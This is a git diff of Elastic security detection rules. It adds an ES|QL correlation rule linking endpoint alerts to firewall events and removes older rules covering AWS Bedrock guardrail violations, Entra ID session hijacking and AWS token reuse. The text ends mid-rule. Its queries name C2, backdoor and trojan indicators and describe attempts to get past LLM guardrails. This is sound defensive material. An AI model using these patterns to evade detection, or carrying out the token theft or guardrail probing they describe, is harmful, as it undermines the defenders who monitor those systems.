00000000000..f244c60fac6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0bca7e73-e1b5-4fb2-801b-9b5f5be20dfe_1.json @@ -0,0 +1,91 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts.", + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Elastic Defend and Network Security Alerts Correlation", + "note": "## Triage and analysis\n\n### Investigating Elastic Defend and Network Security Alerts Correlation\n\nThis rule correlate any Elastic Defend alert with suspicious events from Network Security datasources like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host and users involved.\n- Investiguate the network alerts by destination.ip and message.\n- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.\n- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.\n- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.\n- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.\n\n### False positive analysis\n\n- IP address ranges overlap where the host.ip value from the Elastic Defend alert is unrelated to the source.ip value from the Network Security alert.\n- Alerts from routine administrative tasks may trigger multiple alerts. Review and exclude known benign activities such as scheduled software updates or system maintenance.\n- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.\n- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.\n- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.\n- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.\n\n### Response and remediation\n\n- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.\n- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.\n- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.\n- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.\n- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.\n- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.\n- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.", + "query": "FROM logs-* metadata _id\n| WHERE\n // Elastic Defend Alerts\n (event.module == \"endpoint\" and event.dataset == \"endpoint.alerts\") or\n\n // PANW suspicious events\n (event.dataset == \"panw.panos\" and\n event.action in (\"virus_detected\", \"wildfire_virus_detected\", \"c2_communication\", \"spyware_detected\", \"large_upload\", \"denied\", \"exploit_detected\")) or\n\n // Fortigate suspicious events\n (event.dataset == \"fortinet_fortigate.log\" and\n (event.action in (\"outbreak-prevention\", \"deny\", \"infected\", \"blocked\") or message like \"backdoor*\" or message like \"Proxy*\" or message like \"anomaly*\" or message like \"P2P*\" or message like \"misc*\" or message like \"DNS.Over.HTTPS\" or message like \"Remote.Access\")) or\n\n // Suricata\n (event.dataset == \"suricata.eve\" and message in (\"Command and Control Traffic\", \"Potentially Bad Traffic\", \"A Network Trojan was detected\", \"Detection of a Network Scan\", \"Domain Observed Used for C2 Detected\", \"Malware Command and Control Activity Detected\"))\n\n// extract source.ip from PANW or Fortigate events and host.ip from Elastic Defend alert\n|eval fw_alert_source_ip = CASE(event.dataset in (\"panw.panos\", \"fortinet_fortigate.log\"), source.ip, null),\n elastic_defend_alert_host_ip = CASE(event.module == \"endpoint\" and event.dataset == \"endpoint.alerts\", host.ip, null)\n| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)\n| where Esql.source_ip is not null\n\n// group by host_source_ip shared between FG/PANW and Elastic Defend\n| stats Esql.alerts_count = COUNT(*),\n Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),\n Esql.event_module_values = VALUES(event.module),\n Esql.message_values = VALUES(message),\n Esql.event_action_values = VALUES(event.action),\n Esql.process_executable_values = VALUES(process.executable),\n Esql.host_id_values = VALUES(host.id),\n Esql.user_name_values = VALUES(user.name),\n Esql.destination_ip_values = VALUES(destination.ip)\n by Esql.source_ip\n| where Esql.event_module_distinct_count >= 2\n| keep Esql.alerts_count, Esql.source_ip, Esql.destination_ip_values, Esql.host_id_values, Esql.user_name_values, Esql.event_module_values, Esql.message_values, Esql.process_executable_values\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "panw", + "version": "^5.0.0" + }, + { + "package": "fortinet_fortigate", + "version": "^1.0.0" + }, + { + "package": "suricata", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.alerts_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.destination_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.event_module_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.message_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_executable_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.user_name_values", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "0bca7e73-e1b5-4fb2-801b-9b5f5be20dfe", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide", + "Data Source: Elastic Defend", + "Data Source: Fortinet", + "Data Source: PAN-OS" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "0bca7e73-e1b5-4fb2-801b-9b5f5be20dfe_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_4.json b/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_4.json deleted file mode 100644 index fb58d47a534..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_4.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system.", - "false_positives": [ - "Legitimate misunderstanding by users or overly strict policies" - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail Multiple Policy Violations by a Single User Over a Session.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account that caused multiple policy violations over a session and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| where gen_ai.compliance.violation_detected\n| keep user.id, gen_ai.request.model.id, cloud.account.id\n| stats violations = count(*) by user.id, gen_ai.request.model.id, cloud.account.id\n| where violations > 1\n| sort violations desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "0cd2f3e6-41da-40e6-b28b-466f688f00a6", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Resources: Investigation Guide", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "0cd2f3e6-41da-40e6-b28b-466f688f00a6_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_3.json b/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_3.json deleted file mode 100644 index 7d1705ba864..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0d3d2254-2b4a-11f0-a019-f661ea17fbcc_3.json +++ /dev/null @@ -1,90 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID within a short time window. This may indicate the use of a stolen refresh/access token or session cookie to impersonate the user and interact with Microsoft services.", - "false_positives": [ - "This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile). Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved." - ], - "from": "now-1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Entra ID Session Reuse with Suspicious Graph Access", - "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Session Reuse with Suspicious Graph Access\n\nThis rule identifies when Microsoft Graph is accessed from a different IP than the one used for the original sign-in,\nbut using the same session ID within 5 minutes. This may suggest an adversary has stolen a session cookie or refresh/access\ntoken and is impersonating the user from an alternate host or location.\n\nThis rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be\nperformed to the original sign-in and Graph events for further context.\n\n### Investigation Steps\n\n- Review the `user_id`, `session_id`, and `source_ip_list`. Confirm whether both IPs belong to the same user and geography.\n- Check for inconsistencies in `client_id_list` (e.g., unknown apps) or user agents across correlated events.\n- Investigate recent phishing reports or device infections for the `user_id`.\n- Pivot to Entra ID `auditlogs` to see if a device was registered or privileges were modified.\n- Review `graph_time` to determine what action was taken after the sign-in.\n- Use the `session_id` to correlate with other logs in the same time window to identify any additional suspicious activity.\n\n### False Positive Analysis\n- This pattern may occur if the user is switching between networks (e.g., corporate to mobile) or using a VPN.\n- Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges.\n- However, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved.\n- If the user is a developer or automation engineer, validate if this behavior was for testing purposes.\n- If the user is a system administrator, validate if this behavior was for administrative purposes.\n\n### Response Recommendations\n\n- If confirmed malicious, revoke all refresh/access tokens for the `user_id`.\n- Block the source IP(s) involved in the Graph access.\n- Notify the user and reset credentials.\n- Review session control policies and conditional access enforcement.\n- Monitor for follow-on activity, such as lateral movement or privilege escalation.\n- Review conditional access policies to ensure they are enforced correctly.\n", - "query": "from logs-azure.*\n| where\n (event.dataset == \"azure.signinlogs\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n and azure.signinlogs.properties.session_id is not null)\n or\n (event.dataset == \"azure.graphactivitylogs\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n and azure.graphactivitylogs.properties.c_sid is not null)\n\n| eval\n Esql.azure_signinlogs_properties_session_id_coalesce = coalesce(azure.signinlogs.properties.session_id, azure.graphactivitylogs.properties.c_sid),\n Esql.azure_signinlogs_properties_user_id_coalesce = coalesce(azure.signinlogs.properties.user_id, azure.graphactivitylogs.properties.user_principal_object_id),\n Esql.azure_signinlogs_properties_app_id_coalesce = coalesce(azure.signinlogs.properties.app_id, azure.graphactivitylogs.properties.app_id),\n Esql.source_ip = source.ip,\n Esql.@timestamp = @timestamp,\n Esql.event_type_case = case(\n event.dataset == \"azure.signinlogs\", \"signin\",\n event.dataset == \"azure.graphactivitylogs\", \"graph\",\n \"other\"\n ),\n Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp)\n\n| keep\n Esql.azure_signinlogs_properties_session_id_coalesce,\n Esql.source_ip,\n Esql.@timestamp,\n Esql.event_type_case,\n Esql.time_window_date_trunc,\n Esql.azure_signinlogs_properties_user_id_coalesce,\n Esql.azure_signinlogs_properties_app_id_coalesce\n\n| stats\n Esql.azure_signinlogs_properties_user_id_coalesce_values = values(Esql.azure_signinlogs_properties_user_id_coalesce),\n Esql.azure_signinlogs_properties_session_id_coalesce_values = values(Esql.azure_signinlogs_properties_session_id_coalesce),\n Esql.source_ip_values = values(Esql.source_ip),\n Esql.source_ip_count_distinct = count_distinct(Esql.source_ip),\n Esql.azure_signinlogs_properties_app_id_coalesce_values = values(Esql.azure_signinlogs_properties_app_id_coalesce),\n Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct = count_distinct(Esql.azure_signinlogs_properties_app_id_coalesce),\n Esql.event_type_case_values = values(Esql.event_type_case),\n Esql.event_type_case_count_distinct = count_distinct(Esql.event_type_case),\n Esql.@timestamp.min = min(Esql.@timestamp),\n Esql.@timestamp.max = max(Esql.@timestamp),\n Esql.signin_time_min = min(case(Esql.event_type_case == \"signin\", Esql.@timestamp, null)),\n Esql.graph_time_min = min(case(Esql.event_type_case == \"graph\", Esql.@timestamp, null)),\n Esql.event_count = count()\n by Esql.azure_signinlogs_properties_session_id_coalesce, Esql.time_window_date_trunc\n\n| eval\n Esql.event_duration_minutes_date_diff = date_diff(\"minutes\", Esql.@timestamp.min, Esql.@timestamp.max),\n Esql.event_signin_to_graph_delay_minutes_date_diff = date_diff(\"minutes\", Esql.signin_time_min, Esql.graph_time_min)\n\n| where\n Esql.event_type_case_count_distinct > 1 and\n Esql.source_ip_count_distinct > 1 and\n Esql.event_duration_minutes_date_diff <= 5 and\n Esql.signin_time_min is not null and\n Esql.graph_time_min is not null and\n Esql.event_signin_to_graph_delay_minutes_date_diff >= 0\n", - "references": [ - "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/", - "https://github.com/dirkjanm/ROADtools", - "https://attack.mitre.org/techniques/T1078/004/" - ], - "risk_score": 73, - "rule_id": "0d3d2254-2b4a-11f0-a019-f661ea17fbcc", - "setup": "#### Required Microsoft Entra ID Sign-In and Graph Activity Logs\nThis rule requires the Microsoft Entra ID Sign-In Logs and Microsoft Graph Activity Logs integration to be enabled and configured to collect audit and activity logs via Azure Event Hub.\n", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: Azure", - "Data Source: Microsoft Entra ID", - "Data Source: Microsoft Entra ID Sign-In Logs", - "Data Source: Microsoft Graph", - "Data Source: Microsoft Graph Activity Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Resources: Investigation Guide", - "Tactic: Defense Evasion", - "Tactic: Initial Access" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1550", - "name": "Use Alternate Authentication Material", - "reference": "https://attack.mitre.org/techniques/T1550/", - "subtechnique": [ - { - "id": "T1550.001", - "name": "Application Access Token", - "reference": "https://attack.mitre.org/techniques/T1550/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "0d3d2254-2b4a-11f0-a019-f661ea17fbcc_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_101.json b/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_101.json deleted file mode 100644 index 7ac200d4754..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_101.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts.", - "false_positives": [ - "Highly distributed environments (e.g., globally deployed automation or edge nodes) may cause a single IAM user to appear from multiple IPs. Review the geolocation, network context, and user agent patterns to rule out benign use." - ], - "from": "now-32m", - "interval": "5m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Access Token Used from Multiple Addresses", - "note": "## Triage and Analysis\n\n### Investigating AWS Access Token Used from Multiple Addresses\n\nAccess tokens are bound to a single user. Usage from multiple IP addresses may indicate the token was stolen and used elsewhere. By correlating this with additional detection criteria like multiple user agents, different cities, and different networks, we can improve the fidelity of the rule and help to eliminate false positives associated with expected behavior, like dual-stack IPV4/IPV6 usage. \n\n#### Possible Investigation Steps\n\n- **Identify the IAM User**: Examine the `aws.cloudtrail.user_identity.arn` stored in `user_id` and correlate with the `source.ips` stored in `ip_list` and `unique_ips` count to determine how widely the token was used.\n- **Correlate Additional Detection Context**: Examine `activity_type` and `fidelity_score` to determine additional cities, networks or user agents associated with the token usage. \n- **Determine Access Key Type**: Examine the `access_key_id` to determine whether the token is short-term (beginning with ASIA) or long-term (beginning with AKIA).\n- **Check Recent MFA Events**: Determine whether the user recently enabled MFA, registered devices, or assumed a role using this token.\n- **Review Workload Context**: Confirm whether the user was expected to be active across multiple cities, networks or user agent environments.\n- **Trace Adversary Movement**: Pivot to related actions (e.g., `s3:ListBuckets`, `iam:ListUsers`, `sts:GetCallerIdentity`) to track further enumeration.\n\n### False Positive Analysis\n\n- Automation frameworks that rotate through multiple IPs or cloud functions with dynamic egress IPs may cause this alert to fire.\n- Confirm geolocation and workload context before escalating.\n\n### Response and Remediation\n\n- **Revoke the Token**: Disable or rotate the IAM credentials and invalidate the temporary session token.\n- **Audit the Environment**: Look for signs of lateral movement or data access during the token's validity.\n- **Strengthen Controls**: Require MFA for high-privilege actions, restrict access via policy conditions (e.g., IP range or device).\n\n### References\n\n- [IAM Long-Term Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html)\n- [STS Temporary Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)\n- [Using MFA with Temporary Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html)\n- [AWS Threat Detection Use Cases](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html)\n", - "query": "FROM logs-aws.cloudtrail* metadata _id, _version, _index\n| WHERE @timestamp > NOW() - 30 minutes\n // filter on CloudTrail logs for STS temporary session tokens used by IAM users\n\n AND event.dataset == \"aws.cloudtrail\"\n AND aws.cloudtrail.user_identity.arn IS NOT NULL\n AND aws.cloudtrail.user_identity.type == \"IAMUser\"\n AND source.ip IS NOT NULL\n \n // exclude known benign IaC tools and Amazon Network\n AND NOT (user_agent.original LIKE \"%Terraform%\" OR user_agent.original LIKE \"%Ansible%\" OR user_agent.original LIKE \"%Pulumni%\")\n AND `source.as.organization.name` != \"AMAZON-AES\"\n \n // exclude noisy service APIs less indicative of malicous behavior\n AND event.provider NOT IN (\"health.amazonaws.com\", \"monitoring.amazonaws.com\", \"notifications.amazonaws.com\", \"ce.amazonaws.com\", \"cost-optimization-hub.amazonaws.com\", \"servicecatalog-appregistry.amazonaws.com\", \"securityhub.amazonaws.com\")\n\n| EVAL\n // create a time window for aggregation\n time_window = DATE_TRUNC(30 minutes, @timestamp),\n // capture necessary fields for detection and investigation \n user_id = aws.cloudtrail.user_identity.arn,\n access_key_id = aws.cloudtrail.user_identity.access_key_id,\n ip = source.ip,\n user_agent = user_agent.original,\n ip_string = TO_STRING(source.ip), // Convert IP to string\n ip_user_agent_pair = CONCAT(ip_string, \" - \", user_agent.original), // Combine IP and user agent\n ip_city_pair = CONCAT(ip_string, \" - \", source.geo.city_name), // Combine IP and city\n city = source.geo.city_name,\n event_time = @timestamp,\n network_arn = `source.as.organization.name` \n\n| STATS\n event_actions = VALUES(event.action),\n event_providers = VALUES(event.provider),\n access_key_id = VALUES(access_key_id),\n user_id = VALUES(user_id), \n ip_list = VALUES(ip), // Collect list of IPs\n user_agent_list = VALUES(user_agent), // Collect list of user agents\n ip_user_agent_pairs = VALUES(ip_user_agent_pair), // Collect list of IP - user agent pairs\n cities_list = VALUES(city), // Collect list of cities\n ip_city_pairs = VALUES(ip_city_pair), // Collect list of IP - city pairs\n networks_list = VALUES(network_arn), // Collect list of networks\n unique_ips = COUNT_DISTINCT(ip),\n unique_user_agents = COUNT_DISTINCT(user_agent),\n unique_cities = COUNT_DISTINCT(city),\n unique_networks = COUNT_DISTINCT(network_arn),\n first_seen = MIN(event_time),\n last_seen = MAX(event_time),\n total_events = COUNT()\n BY time_window, access_key_id \n\n| EVAL\n // activity type based on combinations of detection criteria \n activity_type = CASE(\n unique_ips >= 2 AND unique_networks >= 2 AND unique_cities >= 2 AND unique_user_agents >= 2, \"multiple_ip_network_city_user_agent\", // high severity\n unique_ips >= 2 AND unique_networks >= 2 AND unique_cities >= 2, \"multiple_ip_network_city\", // high severity\n unique_ips >= 2 AND unique_cities >= 2, \"multiple_ip_and_city\", // medium severity\n unique_ips >= 2 AND unique_networks >= 2, \"multiple_ip_and_network\", // medium severity\n unique_ips >= 2 AND unique_user_agents >= 2, \"multiple_ip_and_user_agent\", // low severity\n \"normal_activity\"\n ),\n // likelihood of malicious activity based on activity type\n fidelity_score = CASE(\n activity_type == \"multiple_ip_network_city_user_agent\", \"high\",\n activity_type == \"multiple_ip_network_city\", \"high\",\n activity_type == \"multiple_ip_and_city\", \"medium\",\n activity_type == \"multiple_ip_and_network\", \"medium\",\n activity_type == \"multiple_ip_and_user_agent\", \"low\"\n )\n\n| KEEP\n time_window, activity_type, fidelity_score, total_events, first_seen, last_seen,\n user_id, access_key_id, event_actions, event_providers, ip_list, user_agent_list, ip_user_agent_pairs, cities_list, ip_city_pairs, networks_list, unique_ips, unique_user_agents, unique_cities, unique_networks\n\n| WHERE activity_type != \"normal_activity\"\n", - "references": [ - "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/" - ], - "risk_score": 47, - "rule_id": "0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Data Source: AWS CloudTrail", - "Tactic: Initial Access", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 101 - }, - "id": "0d92d30a-5f3e-4b71-bc3d-4a0c4914b7e0_101", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_1.json b/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_1.json deleted file mode 100644 index 1dec3408ce5..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0e1af929-42ed-4262-a846-55a7c54e7c84_1.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics.", - "false_positives": [ - "New model deployments.", - "Testing updates to compliance policies." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual High Denied Sensitive Information Policy Blocks Detected", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail High Sensitive Information Policy Blocks.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"sensitive information filters\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories.\n\n#### Possible investigation steps\n\n- Identify the user account that queried sensitive information and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| MV_EXPAND gen_ai.policy.name \n| where gen_ai.policy.action == \"BLOCKED\" and gen_ai.compliance.violation_detected == \"true\" and gen_ai.policy.name == \"sensitive_information_policy\"\n| keep user.id\n| stats sensitive_information_block = count() by user.id\n| where sensitive_information_block > 5\n| sort sensitive_information_block desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "0e1af929-42ed-4262-a846-55a7c54e7c84", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "0e1af929-42ed-4262-a846-55a7c54e7c84_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_2.json b/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_2.json deleted file mode 100644 index b976e6f1717..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_2.json +++ /dev/null @@ -1,65 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when an excessive number of files are downloaded from OneDrive using OAuth authentication. Adversaries 